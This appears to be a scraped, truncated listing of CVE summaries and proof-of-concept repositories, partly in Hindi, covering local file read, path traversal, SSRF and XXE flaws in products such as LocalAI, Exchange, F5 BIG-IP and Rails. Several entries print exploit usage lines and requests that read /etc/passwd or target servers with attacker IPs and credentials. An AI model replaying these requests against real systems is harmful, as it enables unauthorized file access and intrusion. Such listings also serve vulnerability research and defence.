LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

CVE-2025-13796-PoC

CVE-2025-13796-PoC deco-cx एप्लिकेशन पैरामीटर analyticsScript.ts AnalyticsScript सर्वर-साइड अनुरोध जालसाजी PoC : curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: x.x.x.x' \ $'http://x.x.x.x/live/invoke/website/loaders/analyticsScript.ts?url=file:///etc/passwd'...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read शोध ब्लॉग python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

mpDNS

mpDNS उर्फ बहुउद्देशीय DNS सर्वर सरल, कॉन्फ़िगरेबल DNS सर्वर जिसमें कई उपयोगी सुविधाएँ हैं Python 3 names.db - सभी कस्टम रिकॉर्ड रखता है उदाहरण देखें .example.com जैसे सरल वाइल्डकार्ड यूनिकोड DNS अनुरोधों को पकड़ें कस्टम क्रियाएँ उर्फ मैक्रो: shellexec::dig google.com +short - शेल कमांड निष्पादित...

CVE-2024-28752

Apache CXF CVE-2024-28752 प्रतिकृति वातावरण भेद्यता घोषणा: https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt वातावरण प्रारंभ samples/javafirstjaxwsfactorybean IDEA ServerStarter.java के माध्यम से webservice सेवा प्रारंभ करें निर्माण JDK8 का उपयोग करें mvn clean package java -jar...

CVE-2021-36750

CVE-2021-36749 इसके बारे में - Druid इन्जेशन सिस्टम में, InputSource का उपयोग किसी निश्चित डेटा स्रोत से डेटा पढ़ने के लिए किया जाता है। हालांकि, HTTP InputSource प्रमाणित उपयोगकर्ताओं को Druid सर्वर प्रक्रिया के विशेषाधिकारों के साथ, इच्छित स्रोतों के अलावा अन्य स्रोतों जैसे स्थानीय फ़ाइल सिस्टम...

CVE-2024-28995

CVE-2024-28995 स्वचालित पथ भ्रमण और स्थानीय फ़ाइल पठन विशेषताएँ संस्करण पहचान : सर्वर हेडर से Serv-U संस्करण प्राप्त करता है। भेद्यता जांच : पहचाने गए संस्करण की तुलना ज्ञात भेद्य संस्करण 15.4.2 या निचला से करता है। डिफ़ॉल्ट पथ परीक्षण : विंडोज़ और लिनक्स दोनों के लिए पूर्वनिर्धारित पथों का परीक्...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC एक्सप्लॉइट POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME specify the...

CVE-2016-10956-mail-masta

मेल मास्टा - स्थानीय फ़ाइल पढ़ना CVE-2016-10956 वर्डप्रेस के लिए मेल-मास्टा प्लगइन 1.0 में countofsend.php और csvexport.php में स्थानीय फ़ाइल पढ़ने की सुविधा है। उपयोग $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t...

CVE-2026-12243-NLTK-PoC

CVE-2026-12243 — NLTK पाथ ट्रैवर्सल लैब एक छोटा, पुनरुत्पादनीय Docker लैब जो NLTK 3.9.4 में प्रतिशत-एन्कोडेड पाथ ट्रैवर्सल व्यवहार की तुलना NLTK 3.10.0 में सुधारे गए व्यवहार से करता है। कमजोर संस्करण URL डिकोडिंग से पहले संसाधन नाम को मान्य करता है। फिक्स्ड पेलोड...

CVE-2025-66516-POC

⚠️ उपयोग से पहले अस्वीकरण पढ़ें ⚠️ केवल शैक्षिक/अधिकृत परीक्षण | लाइसेंस | सुरक्षा नीति इस POC के बारे में इस रिपॉजिटरी में CVE-2025-66516 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट POC एक्सप्लॉइट है, जो Apache Tika के 3.2.2 से पहले के संस्करणों में एक XML एक्सटर्नल एंटिटी XXE इंजेक्शन भेद्यता है। यह भेद्यता...

CVE-2019-5418

CVE-2019-5418 परीक्षण मामला चलाएँ : $ rails s प्रमाण अवधारणा : Accept: ../../../../../../../../etc/passwd अनुरोध 1 - GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept: diyarbakirguzelbaglardelalelorke ------...

CVE-2024-40422

CVE-2024-40422 यह exploit-db पर मिला, अभ्यास के लिए अपना खुद का बनाने का निर्णय लिया। यह exploit एक कमजोर सिस्टम पर passwd फ़ाइल को खोजेगा और उसकी सामग्री प्रिंट करेगा। यह स्क्रिप्ट Devika v1 में एक path transversal भेद्यता का शोषण करती है। इस भेद्यता को खोजने का श्रेय Alperen Ergel को जाता है। p...

BOA Web Server 0.94.14 - Arbitrary File Access

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Acces...

CVE-2020-5902

CVE-2020-5902 F5 Big-IP CVE-2020-5902 का शोषण करने के लिए पायथन स्क्रिप्ट उदाहरण स्थानीय फ़ाइल पढ़ने का शोषण: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE शोषण: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2019-8389

CVE-2019-8389 - Musicloud for iOS v1.6 में मनमाना फ़ाइल पढ़ना CVE-2019-8389 Musicloud v1.6 iOS ऐप में स्थानीय फ़ाइल पढ़ने की भेद्यता का शोषण करने के लिए एक एक्सप्लॉइट कोड विवरण: Musicloud 1.6 की Wi-Fi ट्रांसफर सुविधा में एक फ़ाइल-रीड भेद्यता पाई गई। डिफ़ॉल्ट रूप से, ऐप पोर्ट 8080 पर एक ट्रांसफर...

CVE-2022-44268

CVE-2022-44268 इस रिपॉजिटरी में ImageMagick v. 7.1.0-49 में एक भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट POC शामिल है, जो एक व्यापक रूप से उपयोग की जाने वाली ओपन-सोर्स इमेज मैनिपुलेशन लाइब्रेरी है। यह भेद्यता एक हमलावर को ImageMagick द्वारा PNG फ़ाइल को पार्स करने पर एक मनमानी फ़ाइल की सामग्री को...

CVE-2024-55557

CVE-2024-55557 उपयोग python3 exploit.py --local retrieve from local readable files python3 exploit.py default mode is remote अधिक पढ़ें और अधिक CVE-2024-55557 - Weasis 4.5.1 POC https://github.com/user-attachments/assets/a3f64a58-7720-4f93-8bcc-9393d8afcb68...